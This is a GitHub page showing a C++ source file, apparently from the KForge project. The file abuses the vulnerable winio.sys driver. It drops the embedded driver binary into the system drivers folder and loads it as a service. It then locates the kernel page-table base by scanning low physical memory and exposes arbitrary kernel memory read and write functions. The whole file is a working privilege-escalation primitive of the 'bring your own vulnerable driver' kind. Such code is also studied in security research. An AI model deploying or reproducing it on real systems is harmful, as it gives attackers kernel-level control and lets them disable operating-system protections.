-
Notifications
You must be signed in to change notification settings - Fork 75
/
Copy pathkforge_driver.cpp
384 lines (317 loc) · 11.3 KB
/
kforge_driver.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
#include "stdafx.h"
// winio.sys driver binary
#include "winio_sys.h"
/*
PROCESSOR_START_BLOCK is allocated by winload.efi, so it could be
anywhere in the low memory.
*/
#define PROCESSOR_START_BLOCK_MIN 0
#define PROCESSOR_START_BLOCK_MAX 0x10000
#pragma pack(push, 2)
typedef struct _FAR_JMP_16
{
BYTE OpCode; // = 0xe9
WORD Offset;
} FAR_JMP_16;
typedef struct _PSEUDO_DESCRIPTOR_32
{
WORD Limit;
DWORD Base;
} PSEUDO_DESCRIPTOR_32;
#pragma pack(pop)
typedef struct _PROCESSOR_START_BLOCK *PPROCESSOR_START_BLOCK;
typedef struct _PROCESSOR_START_BLOCK
{
// The block starts with a jmp instruction to the end of the block
FAR_JMP_16 Jmp;
// Completion flag is set to non-zero when the target processor has
// started
DWORD CompletionFlag;
// Pseudo descriptors for GDT and IDT
PSEUDO_DESCRIPTOR_32 Gdt32;
PSEUDO_DESCRIPTOR_32 Idt32;
// ...
} PROCESSOR_START_BLOCK,
*PPROCESSOR_START_BLOCK;
// other fields offsets
#define PROCESSOR_START_BLOCK_HalpLMStub 0x70
#define PROCESSOR_START_BLOCK_Cr3 0xa0
// PML4 base of the kernel virtual address space
static DWORD_PTR m_PML4_Addr = 0;
// loldriver device handle
static HANDLE m_hDevice = NULL;
//--------------------------------------------------------------------------------------
static BOOL DriverInitPageTableBase(void)
{
BOOL bRet = FALSE;
// allocate memory to read PROCESSOR_START_BLOCK
PUCHAR Data = (PUCHAR)M_ALLOC(PAGE_SIZE);
if (Data == NULL)
{
DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError());
return FALSE;
}
// find an exact location of the PROCESSOR_START_BLOCK
for (DWORD_PTR Addr = PROCESSOR_START_BLOCK_MIN;
Addr < PROCESSOR_START_BLOCK_MAX; Addr += PAGE_SIZE)
{
if (WinioPhysRead(m_hDevice, Addr, PAGE_SIZE, Data))
{
PPROCESSOR_START_BLOCK Info = (PPROCESSOR_START_BLOCK)Data;
// get page table address and HalpLMStub address
DWORD_PTR PML4_Addr = *(DWORD_PTR *)(Data + PROCESSOR_START_BLOCK_Cr3);
DWORD_PTR HalpLMStub = *(DWORD_PTR *)(Data + PROCESSOR_START_BLOCK_HalpLMStub);
// check for the sane values
if (Info->Jmp.OpCode != 0xe9 || Info->CompletionFlag != 1 || HalpLMStub == 0 || PML4_Addr == 0)
{
// looks bad
continue;
}
DbgMsg(__FILE__, __LINE__, "PROCESSOR_START_BLOCK is at "IFMT"\n", Addr);
DbgMsg(__FILE__, __LINE__, "Kernel mode PML4 address is "IFMT"\n", PML4_Addr);
m_PML4_Addr = PML4_Addr;
bRet = TRUE;
break;
}
else
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n");
break;
}
}
M_FREE(Data);
return bRet;
}
//--------------------------------------------------------------------------------------
static BOOL DriverVirtToPhys(DWORD_PTR PML4_Addr, PVOID AddrVirt, PDWORD_PTR pAddrPhys)
{
X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PML4_entry;
DWORD_PTR AddrPhys = PML4_ADDRESS(PML4_Addr) + PML4_INDEX(AddrVirt) * sizeof(DWORD64);
if (m_hDevice == NULL)
{
// not initialized
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n");
return FALSE;
}
// read PML4 entry
if (!WinioPhysRead(m_hDevice, AddrPhys, sizeof(PML4_entry), &PML4_entry.Uint64))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n");
return FALSE;
}
// check if PML4 entry is present
if (PML4_entry.Bits.Present == 0)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: PML4E for "IFMT" is not present\n", AddrVirt);
return FALSE;
}
X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PDPT_entry;
AddrPhys = PFN_TO_PAGE(PML4_entry.Bits.PageTableBaseAddress) + PDPT_INDEX(AddrVirt) * sizeof(DWORD64);
// read PDPT entry
if (!WinioPhysRead(m_hDevice, AddrPhys, sizeof(PDPT_entry), &PDPT_entry.Uint64))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n");
return FALSE;
}
// check if PDPT entry is present
if (PDPT_entry.Bits.Present == 0)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: PDPTE for "IFMT" is not present\n", AddrVirt);
return FALSE;
}
// check for page size flag
if ((PDPT_entry.Uint64 & PDPTE_PDE_PS) == 0)
{
X64_PAGE_DIRECTORY_ENTRY_4K PD_entry;
AddrPhys = PFN_TO_PAGE(PDPT_entry.Bits.PageTableBaseAddress) + PDE_INDEX(AddrVirt) * sizeof(DWORD64);
// read PD entry
if (!WinioPhysRead(m_hDevice, AddrPhys, sizeof(PD_entry), &PD_entry.Uint64))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n");
return FALSE;
}
// check if PD entry is present
if (PD_entry.Bits.Present == 0)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: PDE for "IFMT" is not present\n", AddrVirt);
return FALSE;
}
// check for page size flag
if ((PD_entry.Uint64 & PDPTE_PDE_PS) == 0)
{
X64_PAGE_TABLE_ENTRY_4K PT_entry;
AddrPhys = PFN_TO_PAGE(PD_entry.Bits.PageTableBaseAddress) + PTE_INDEX(AddrVirt) * sizeof(DWORD64);
// read PT entry
if (!WinioPhysRead(m_hDevice, AddrPhys, sizeof(PD_entry), &PT_entry.Uint64))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n");
return FALSE;
}
// check if PT entry is present
if (PT_entry.Bits.Present)
{
// calculate 4Kb physical page address
*pAddrPhys = PFN_TO_PAGE(PT_entry.Bits.PageTableBaseAddress) + PAGE_OFFSET_4K(AddrVirt);
return TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: PTE for "IFMT" is not present\n", AddrVirt);
}
}
else
{
// calculate 2Mb page physical page address
*pAddrPhys = PFN_TO_PAGE(PD_entry.Bits.PageTableBaseAddress) + PAGE_OFFSET_2M(AddrVirt);
return TRUE;
}
}
else
{
// calculate 1Gb page physical page address
*pAddrPhys = PFN_TO_PAGE(PDPT_entry.Bits.PageTableBaseAddress) + PAGE_OFFSET_1G(AddrVirt);
return TRUE;
}
return FALSE;
}
//--------------------------------------------------------------------------------------
BOOL DriverInit(void)
{
BOOL bStarted = FALSE;
char szFilePath[MAX_PATH];
if (m_hDevice != NULL)
{
// already initialized
return TRUE;
}
if (!LoadPrivileges(SE_LOAD_DRIVER_NAME))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: LoadPrivileges() fails\n");
return FALSE;
}
// make driver file path
GetSystemDirectory(szFilePath, MAX_PATH);
strcat(szFilePath, "\\drivers\\" WINIO_DRIVER_NAME);
// first try to start already existing service
if (!(bStarted = ServiceStart(WINIO_SERVICE_NAME, szFilePath, FALSE)))
{
// copy driver into the drivers directory
if (DumpToFile(szFilePath, winio_sys, sizeof(winio_sys)))
{
// try to create new service
if (!(bStarted = ServiceStart(WINIO_SERVICE_NAME, szFilePath, TRUE)))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: ServiceStart() fails\n");
// remove driver
DeleteFile(szFilePath);
}
}
else
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DumpToFile() fails\n");
}
}
// copy driver into the drivers directory
if (bStarted)
{
// get handle of the target device
if ((m_hDevice = CreateFile(
WINIO_DEVICE_PATH, GENERIC_READ | GENERIC_WRITE, 0,
NULL, OPEN_EXISTING, 0, NULL)) != INVALID_HANDLE_VALUE)
{
DbgMsg(__FILE__, __LINE__, "%s kernel driver was successfully loaded\n", WINIO_DRIVER_NAME);
// initialize PML4 address
if (DriverInitPageTableBase())
{
return TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverInitPageTableBase() fails\n");
}
CloseHandle(m_hDevice);
m_hDevice = NULL;
}
// remove service
ServiceStop(WINIO_SERVICE_NAME);
ServiceRemove(WINIO_SERVICE_NAME);
// remove driver
DeleteFile(szFilePath);
}
return FALSE;
}
//--------------------------------------------------------------------------------------
BOOL DriverUninit(void)
{
char szFilePath[MAX_PATH];
if (m_hDevice == NULL)
{
// not initialized
return TRUE;
}
CloseHandle(m_hDevice);
m_hDevice = NULL;
// make driver file path
GetSystemDirectory(szFilePath, MAX_PATH);
strcat(szFilePath, "\\drivers\\" WINIO_DRIVER_NAME);
// remove service
ServiceStop(WINIO_SERVICE_NAME);
ServiceRemove(WINIO_SERVICE_NAME);
// remove driver
DeleteFile(szFilePath);
return TRUE;
}
//--------------------------------------------------------------------------------------
BOOL DriverMemWrite(PVOID Addr, PVOID Data, DWORD_PTR DataSize)
{
DWORD_PTR AddrPhys = 0;
if (m_hDevice == NULL)
{
// not initialized
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n");
return FALSE;
}
// translate virtual address to physical
if (DriverVirtToPhys(m_PML4_Addr, Addr, &AddrPhys))
{
// write to the physical memory location
if (WinioPhysWrite(m_hDevice, AddrPhys, DataSize, Data))
{
return TRUE;
}
}
return FALSE;
}
BOOL DriverMemWritePtr(PVOID Addr, PVOID Value)
{
// write single pointer at virtual memory address
return DriverMemWrite(Addr, &Value, sizeof(PVOID));
}
//--------------------------------------------------------------------------------------
BOOL DriverMemRead(PVOID Addr, PVOID Data, DWORD_PTR DataSize)
{
DWORD_PTR AddrPhys = 0;
if (m_hDevice == NULL)
{
// not initialized
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n");
return FALSE;
}
// translate virtual address to physical
if (DriverVirtToPhys(m_PML4_Addr, Addr, &AddrPhys))
{
// read from the physical memory location
if (WinioPhysRead(m_hDevice, AddrPhys, DataSize, Data))
{
return TRUE;
}
}
return FALSE;
}
BOOL DriverMemReadPtr(PVOID Addr, PVOID *Value)
{
// read single pointer from virtual memory address
return DriverMemRead(Addr, Value, sizeof(PVOID));
}
//--------------------------------------------------------------------------------------
// EoF